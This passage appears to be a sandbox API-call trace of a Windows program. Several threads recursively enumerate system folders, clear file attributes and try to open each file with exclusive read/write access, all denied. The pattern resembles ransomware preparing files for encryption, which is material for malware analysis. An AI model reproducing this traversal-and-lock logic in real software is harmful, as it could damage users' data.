_Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" [0148.829] wcscat (in: _Dest=0x9ac5f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\" [0148.829] wcscat (in: _Dest=0x9ac5f8, _Source="resources" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" [0151.550] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x12c75878 [0151.550] wcscpy (in: _Dest=0x12c75878, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" [0151.551] wcscat (in: _Dest=0x12c75878, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\" [0151.551] wcscat (in: _Dest=0x12c75878, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*" [0151.551] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907c48 [0151.551] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93afb8 [0151.564] wcscmp (_String1=".", _String2=".") returned 0 [0151.564] FindNextFileW (in: hFindFile=0x93afb8, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.565] wcscmp (_String1="..", _String2=".") returned 1 [0151.565] wcscmp (_String1="..", _String2="..") returned 0 [0151.565] FindNextFileW (in: hFindFile=0x93afb8, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0151.565] wcscmp (_String1="1033", _String2=".") returned 1 [0151.565] wcscmp (_String1="1033", _String2="..") returned 1 [0151.565] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9ad5c8 [0151.565] wcscpy (in: _Dest=0x9ad5c8, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" [0151.565] wcscat (in: _Dest=0x9ad5c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\" [0151.565] wcscat (in: _Dest=0x9ad5c8, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" [0151.565] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9ad488 [0151.565] wcscpy (in: _Dest=0x9ad488, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" [0151.565] wcscat (in: _Dest=0x9ad488, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\" [0151.565] wcscat (in: _Dest=0x9ad488, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*" [0151.565] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9679e8 [0151.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad78 [0151.565] wcscmp (_String1=".", _String2=".") returned 0 [0151.565] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.566] wcscmp (_String1="..", _String2=".") returned 1 [0151.566] wcscmp (_String1="..", _String2="..") returned 0 [0151.566] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 1 [0151.566] wcscmp (_String1="Synchronization.rll", _String2=".") returned 1 [0151.566] wcscmp (_String1="Synchronization.rll", _String2="..") returned 1 [0151.566] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbc) returned 0xd4ba048 [0151.566] wcscpy (in: _Dest=0xd4ba048, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" [0151.566] wcscat (in: _Dest=0xd4ba048, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\" [0151.566] wcscat (in: _Dest=0xd4ba048, _Source="Synchronization.rll" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll" [0151.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033\\synchronization.rll")) returned 0x20 [0151.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll", dwFileAttributes=0x20) returned 0 [0151.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033\\synchronization.rll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.586] GetLastError () returned 0x5 [0151.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll", dwFileAttributes=0x20) returned 0 [0151.586] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba048) returned 1 [0151.586] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 0 [0151.586] FindClose (in: hFindFile=0x93ad78 | out: hFindFile=0x93ad78) returned 1 [0151.586] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9679e8) returned 1 [0151.586] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad488) returned 1 [0151.586] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad5c8) returned 1 [0151.586] FindNextFileW (in: hFindFile=0x93afb8, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0151.586] FindClose (in: hFindFile=0x93afb8 | out: hFindFile=0x93afb8) returned 1 [0151.586] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907c48) returned 1 [0151.586] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75878) returned 1 [0151.586] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac5f8) returned 1 [0151.587] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1 [0151.587] wcscmp (_String1="Synchronization.dll", _String2=".") returned 1 [0151.587] wcscmp (_String1="Synchronization.dll", _String2="..") returned 1 [0151.587] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 0 [0151.587] FindClose (in: hFindFile=0x93aff8 | out: hFindFile=0x93aff8) returned 1 [0151.587] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91da20) returned 1 [0151.587] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f84d8) returned 1 [0151.587] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0c80) returned 1 Thread: id = 2718 os_tid = 0x1718 [0147.733] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e74d8 [0147.733] wcscpy (in: _Dest=0x8e74d8, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" [0147.733] wcscat (in: _Dest=0x8e74d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\" [0147.733] wcscat (in: _Dest=0x8e74d8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*" [0147.733] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9200a0 [0147.733] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942330 [0147.733] wcscmp (_String1=".", _String2=".") returned 0 [0147.733] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.733] wcscmp (_String1="..", _String2=".") returned 1 [0147.733] wcscmp (_String1="..", _String2="..") returned 0 [0147.733] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1 [0147.733] wcscmp (_String1="License Agreements", _String2=".") returned 1 [0147.733] wcscmp (_String1="License Agreements", _String2="..") returned 1 [0147.733] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4210 [0147.733] wcscpy (in: _Dest=0x8f4210, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" [0147.734] wcscat (in: _Dest=0x8f4210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\" [0147.734] wcscat (in: _Dest=0x8f4210, _Source="License Agreements" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" [0150.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f4210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e4 [0150.385] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0 [0150.385] FindClose (in: hFindFile=0x942330 | out: hFindFile=0x942330) returned 1 [0150.385] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9200a0) returned 1 [0150.385] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e74d8) returned 1 [0150.385] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e77a8) returned 1 Thread: id = 2719 os_tid = 0x171c [0147.734] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb4) returned 0xd4c6b00 [0147.734] wcscpy (in: _Dest=0xd4c6b00, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" [0147.734] wcscat (in: _Dest=0xd4c6b00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\" [0147.734] wcscat (in: _Dest=0xd4c6b00, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*" [0147.734] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x920570 [0147.734] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x920570 | out: lpFindFileData=0x920570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422b0 [0147.735] wcscmp (_String1=".", _String2=".") returned 0 [0147.735] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x920570 | out: lpFindFileData=0x920570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.735] wcscmp (_String1="..", _String2=".") returned 1 [0147.735] wcscmp (_String1="..", _String2="..") returned 0 [0147.735] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x920570 | out: lpFindFileData=0x920570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0147.735] wcscmp (_String1="resource.xml", _String2=".") returned 1 [0147.736] wcscmp (_String1="resource.xml", _String2="..") returned 1 [0147.736] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xca) returned 0x8dcfb8 [0147.736] wcscpy (in: _Dest=0x8dcfb8, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" [0147.736] wcscat (in: _Dest=0x8dcfb8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\" [0147.736] wcscat (in: _Dest=0x8dcfb8, _Source="resource.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" [0150.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8dcfb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f0 [0150.386] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x920570 | out: lpFindFileData=0x920570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0150.387] FindClose (in: hFindFile=0x9422b0 | out: hFindFile=0x9422b0) returned 1 [0150.387] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x920570) returned 1 [0150.387] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6b00) returned 1 [0150.387] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f40a0) returned 1 Thread: id = 2720 os_tid = 0x1720 [0147.736] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml")) returned 0x20 [0148.188] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", dwFileAttributes=0x20) returned 0 [0148.189] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.189] GetLastError () returned 0x5 [0148.189] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", dwFileAttributes=0x20) returned 0 [0148.189] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9c60) returned 1 Thread: id = 2721 os_tid = 0x1724 [0147.737] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml")) returned 0x20 [0148.190] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", dwFileAttributes=0x20) returned 0 [0148.190] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0148.190] GetLastError () returned 0x5 [0148.190] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", dwFileAttributes=0x20) returned 0 [0148.190] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6bc0) returned 1 Thread: id = 2722 os_tid = 0x1728 [0147.738] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbc) returned 0xd4b9df0 [0147.738] wcscpy (in: _Dest=0xd4b9df0, _Source="C:\\Users\\All Users\\Package 